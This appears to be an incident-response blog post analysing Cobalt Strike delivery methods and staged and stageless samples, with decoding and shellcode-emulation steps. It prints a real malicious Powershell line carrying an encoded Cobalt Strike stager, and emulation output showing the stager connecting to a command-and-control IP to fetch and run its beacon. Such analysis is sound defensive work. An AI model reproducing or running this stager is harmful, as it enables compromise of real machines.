This is the second part of our blog series on Cobalt Strike attacks and Incident Response. We suggest you to first read Part I, because it describes the Cobalt Strike framework and how it’s used in attacks.
In this post we will be discussing the following topics:
- Cobalt Strike delivery mechanisms
- Analysis of a Cobalt Strike executable
Delivery mechanisms
In the first stage of an attack often called the ‘Initial Compromise’ stage, a threat actor needs to deliver Cobalt Strike to a victim machine. A threat actor can use various methods to deliver the payload.
Web Drive-by
The web drive-by attacks can be used by a threat actor to host Cobalt Strike posing as a legitimate looking Java web application. Another option which is often observed is the Scripted Delivery. Using scripted delivery the threat actor can generate an all-in one Cobalt Strike beacon which is hosted on a web server running Cobalt Strike. This executable is can then be downloaded with one-line of code, currently the following tools are supported for this method:
- Bitsadmin
- Powershell
- Python
- Executable in the form of an .exe file
User driven attacks
Cobalt Strike has several options for executable generation such as:
- HTML Application, An HTML Application is a Windows program written In HTML and an Internet Explorer supported scripting language.
- MS Office Macro, this package generates a Microsoft Office macro and presents instructions to embed the macro in Microsoft Word or Microsoft Excel.
- Payload Generator, this package allows you to export Cobalt Strike’s stagers in a variety of formats.
- Windows Executable, there are multiple variants of the windows executable:
- Windows EXE — A Windows executable.
- Windows Service EXE — A Windows executable that responds to Service Control Manager commands.
- Windows DLL (32-bit/64-bit) — An executable in the form of a DLL file.
Spearphishing
One of the most used client-side attacks is a spear-phishing attack. Cobalt Strike has spear-phishing capabilities built-in where you can setup a phishing template and an email server. In the figure shown below you see a Cobalt Strike spearphishing attack:
As discussed in the previous blog a typical attack has 2 stages where in the first stage a user is infected using Cobalt Strike or a different malware and in the second stage a user downloads the Cobalt Strike beacon.
Analysis of a Cobalt Strike executable
As you have seen by now, Cobalt Strike can come in a lot of flavours and can be delivered with a broad range of delivery mechanisms. For our analysis we categorise Cobalt Strike attacks in two groups.
- Staged attacks
- Stageless attacks
Staged attacks
Staged attacks consist of multiple stages or phases, in the first stage malware is delivered to a victim machine through one of the aforementioned methods. In the second stage the malware connects to a Cobalt Strike server to retrieve the second stage payload, which will be the Cobalt Strike beacon. The below graphic shows a staged attack using Cobalt Strike.
Tip: Keep in mind that the stage 1 and stage 2 server don’t have to be the the same system.
Stage 1
In the first stage the victim is tricked into executing malware, for instance with a phishing email. Let’s look at an example with SHA1 hash:
53b31e513d8e23e30b7f133d4504ca7429f0e1fe
This is a Microsoft Word document, that is actually using a new vulnerability (at the time of writing) dubbed as CVE-2021–40444. We can manually analyse the Word document to see what kinds of connections are made. However it’s a lot faster to leverage a malware sandbox to analyse the behaviour of a file.
Stage 2
As you can see in the above picture, the Word process is used to download a file called ‘championship.inf’ let’s analyse that one, the SHA1 hash for that file is:
6c10d7d88606ac1afd30b4e61bf232329a276cdc
We can go multiple routes with the analysis of the suspicious dll file. The easiest route is running the file in a malware sandbox to analyse its behaviour. We will use Triage for that task, you can find the whole analysis with the following link. The results of the sandbox analysis show that it is indeed Cobalt Strike and it also shows any additional details it can find about the executable.
Interestingly enough we can also see that Cobalt Strike deletes itself through a Powershell command.
Staged attacks recap
Staged attacks are good from a defender perspective as it allows for defenders to connect to Cobalt Strike servers and extract configurations from the Cobalt Strike team server. That way we can get more information on the type of attack and processes that Cobalt Strike wants to inject.
Something to keep in mind from staged attacks is that often the stagers are very small, thus less likely to stand out and/or raise alerts. Additionally there have been several reports where a different malware family was used as a stager to download the Cobalt Strike payload.
Stageless attacks
Another popular method for Cobalt Strike attacks is using stageless attacks. With a stageless attack the Cobalt Strike beacon is directly injected into memory using shellcode. So before we continue we need to understand is “shellcode”.
Shellcode is sequence of machine code, or executable instructions, that is injected into a computer’s memory with the intent to take control of a running program.
Reference: EasyTechJunkie
This is relevant to Cobalt Strike attacks, because the threat actor can generate the payload as a Powershell command which contains shellcode to inject Cobalt Strike in memory. The difficulty from a defender perspective is that the Cobalt Strike payload is not written to the disk, which fools a lot of Anti-Virus/EDR solutions. So what can we do when investigating a stageless attack? The answer: it depends :)
Cobalt Strike supports various delivery mechanisms for stageless payloads as mentioned earlier in this article. Recently we have observed threat actors leveraging Powershell to deliver Cobalt Strike. From a threat actor perspective this is an obvious choice as most organisations allow Powershell on clients and servers. In this paragraph we will focus on stageless attacks leveraging Powershell.
When a threat actor creates a stageless payload in Cobalt Strike they have several options to do so. As per the official documentation:
This package exports Beacon, without a stager, as an executable, service executable, 32-bit DLL, or 64-bit DLL. A payload artifact that does not use a stager is called a stageless artifact. This package also has a PowerShell option to export Beacon as a PowerShell script and a raw option to export Beacon as a blob of position independent code.
When a payload is delivered in Powershell it contains shellcode to directly inject commands. The shellcode delivered by a Cobalt Strike server is encrypted. Luckily for us there are some great resources that can help us understand shellcode encryption and how to decrypt shellcode. We can use this excellent resource from Securehat or this blog by Newton Paul.
The approach we use for Powershell payloads is the following:
- Identify encryption method used in Powershell
- Decrypt payload using CyberChef (or other tool)
- (Optional) Emulate shellcode
- (Optional) Analyse PE file
We will put the above approach to the test using the following sample with SHA1 hash:
744f9ba9f24f56c56b593404209c1cc19610354c
Step 1 — Identify encryption method used in Powershell
There are several options available to obfuscate/encrypt shellcode in Powershell. The default method used by Cobalt Strike is encoding the payload with Base64 and XOR it with the ‘35’ key. There are lots of guides available online explaining this process so this might be repetition for some. Opening the sample in a text editor reveals the following interesting piece of code:
If ([IntPtr]::size -eq 8) [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJim7M8IyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDBFFUncjijb/JdOBccoNCfRt/gYE1C5KBfph47IcCRbhkDT/M/HH9TaPwbugyN0Hk5C7ZdVaogVoUoMzA/7VhgWCqlRmzKkHroKnePbfWSN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFQ0TCi4pI0D4ETbyn30sxC5WfeAk/O6zzJxBKD2hmdj0Tlx7EWIveQApd5mSzwcIaPpoAqvEFO3nCppyVcu7DYvCY4xpIyYnAR3ZHustK/fU5pDVsuzT+GZt1Pf9l/yybwhvmif1EQaA+wGPlwio/AMbNhglHXKWB7Dgl7Gfi5yXtgXQilsezEFpKQxaB9Ltr5NXLIolvj3JK9s8beuLUw8Whx1L3gbAqGOF320Fc2T88oRDJrdz8A3WASvTwA3xIkgN7B9QtB0Rnb16X+wMXWoIuyxGyZNcdUeuFwwrScbulKx8qaRhCaXzWSChFrPnoHtgdQcjYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BINEhYNEhYUDRERGiMxF3Vb'){
The variable ‘$var_code’ contains a Base64 encoded string, so we need to decode that string if we want to understand what’s happening. An additional step is taken to hinder analysis and detection efforts, the encoded command is also XOR’ed by a for loop as shown below:
The for loop performs an XOR operation with decimal value ‘35’ on the data contained in the $var_code variable. So we will also need to consider that.
Step 2 — Decrypt payload using CyberChef (or other tool)
Now that we have identified the method that is used to encrypt the payload we can decrypt it. We like to use CyberChef for that purpose, it’s a toolkit developed by the GCHQ to help you perform all kinds of operations on data. In CyberChef you input data and then you select a ‘recipe’ which consists of operations that will be performed against the input data and CyberChef delivers the output of the recipe. Our recipe will consists of 2 steps:
- Decode Base64 data
- XOR data with the ‘35’ key.
Tip: Sometimes compression is used by threat actors often with GZIP you can also decompress that with CyberChef
Putting this all together in CyberChef gives us..
In the output field we now have some code that contains some strings we can read a user-agent and you can also spot an IP-address at the bottom. This is what we call shellcode and it still doesn’t really tell us what is happening, we will continue our analysis with some basic shellcode analysis.
Step 3 — Emulate shellcode
To understand what is happening with the shellcode we need to emulate the shellcode. We caemulate emulate shellcode with special tools to understand what happens when the shellcode is executed. To perform this first step is downloading the shellcode from CyberChef, click the floppy disk icon to do that.
For our analysis we have a few options, a popular choice for shellcode emulation is SCDBG it’s very easy to use, here is an excellent blog describing this tool with Cobalt Strike shellcode. We use Speakeasy an emulation framework from FireEye for our analysis. After installation we can start the framework with the following command:
python3.9 run_speakeasy.py -t ../cobalt_raw.dat -r -a x64
With the -t flag we specify the file with shellcode, with the -r we tell speakeasy to treat the file as raw shellcode and finally we specify the architecture with the -a flag.
Tip: If you don’t know which platform try both x86 and x64 options.
The result of the shellcode emulation contains some very interesting results..
* exec: shellcod0x10ef: 'kernel32.LoadLibraryA("wininet")' -> 0x7bc000000x1107: 'wininet.InternetOpenA(0x0, 0x0, 0x0, 0x0, 0x0)' -> 0x200x1126: 'wininet.InternetConnectA(0x20, "1.15.157.229", 0x1f90, 0x0, 0x0, 0x3, 0x0, 0x0)' -> 0x240x1145: 'wininet.HttpOpenRequestA(0x24, 0x0, "/2fqT", 0x0, 0x0, 0x0, "INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD", 0x0)' -> 0x280x1169: 'wininet.HttpSendRequestA(0x28, "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\r\\n", 0xffffffffffffffff, 0x0, 0x11d6)' -> 0x10x132a: 'kernel32.VirtualAlloc(0x0, 0x400000, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x4500000x1348: 'wininet.InternetReadFile(0x28, 0x450000, 0x2000, 0x1203e70)' -> 0x10x1348: 'wininet.InternetReadFile(0x28, 0x451000, 0x2000, 0x1203e70)' -> 0x1e
We see what DLL files are used and also what action is perform used the DLL. In this example wininet.dll is used to connect to an IP-address for the payload and the URI and user-agent.
Another example of Cobalt Strike payloads and Powershell is the following sample with SHA1 hash:
2bc64aa86ccaf4a3f99c512fb4efaf811d97509c
Let’s perform the same steps as before.
Step 1 — Identify encryption method used in Powershell
Again we can see that the default is used Base64 and XOR(35), however we can already see that the encoded data is much bigger.
Step 2 — Decrypt payload using CyberChef (or other tool)
After decryption you should be left with the following output.
Immediately we can see that we’re looking at a Portable Executable(PE) file based on the MZ value present in the header. In this example the threat actor embedded the raw payload in PowerShell.
Step 3 — Emulate shellcode
Not applicable
Step 4 — Analyse PE file
Since, we have the PE file we can just load that into one of the many PE analysis tools to understand its behaviour. We open the file in pestudio, which tells us all kinds of interesting information about the PE file. It’s safe to say the file is malicious it lights up in about every category:
Upon inspection of the strings, we some very interesting strings that are often used by malware and Cobalt Strike, especially the Powershell download string and use of the Powershell EncodedCommand:
If you would like to experiment with this file yourself for your analysis, grab the hash, perform the steps required to decode/decrypt the Powershell command and you’re ready to go.
Tip: Keep in mind, we have only shown two ways that threat actors can deliver and execute Cobalt Strike with Powershell, there are more options and possibilities! Always keep learning and researching.
Summary
In the first part of this article the Cobalt Strike delivery mechanisms are explained. The key takeaway is that you need to understand the diversity of Cobalt Strike, it can be a small or large file, it can be memory only or a full executable. When you understand the difference, you can adjust your analysis steps based on the type of Cobalt Strike payload you encounter.
The second part of the post describes the Cobalt Strike executable and how it differs in a staged attack versus a stageless attack. A staged attack is more straightforward in terms of analysis as you can connect to the domain that is serving as C2 server for information on the second stage of the attack. The stageless attack analysis is a bit different as it depends on the delivery method of the stageless beacon this post focusses on Powershell as delivery mechanism. In a stageless attack, shellcode is directly injected into memory the proposed analysis approach can be used to investigate Powershell related Cobalt Strike attack.
References & Resources
- https://www.cobaltstrike.com/downloads/csmanual44.pdf
- https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b
- https://blog.securehat.co.uk/cobaltstrike/extracting-config-from-cobaltstrike-stager-shellcode
- https://community.sophos.com/sophos-labs/b/blog/posts/decoding-malicious-powershell
- https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/
- https://gist.github.com/0xtornado/69d12572520122cb9bddc2d6793d97ab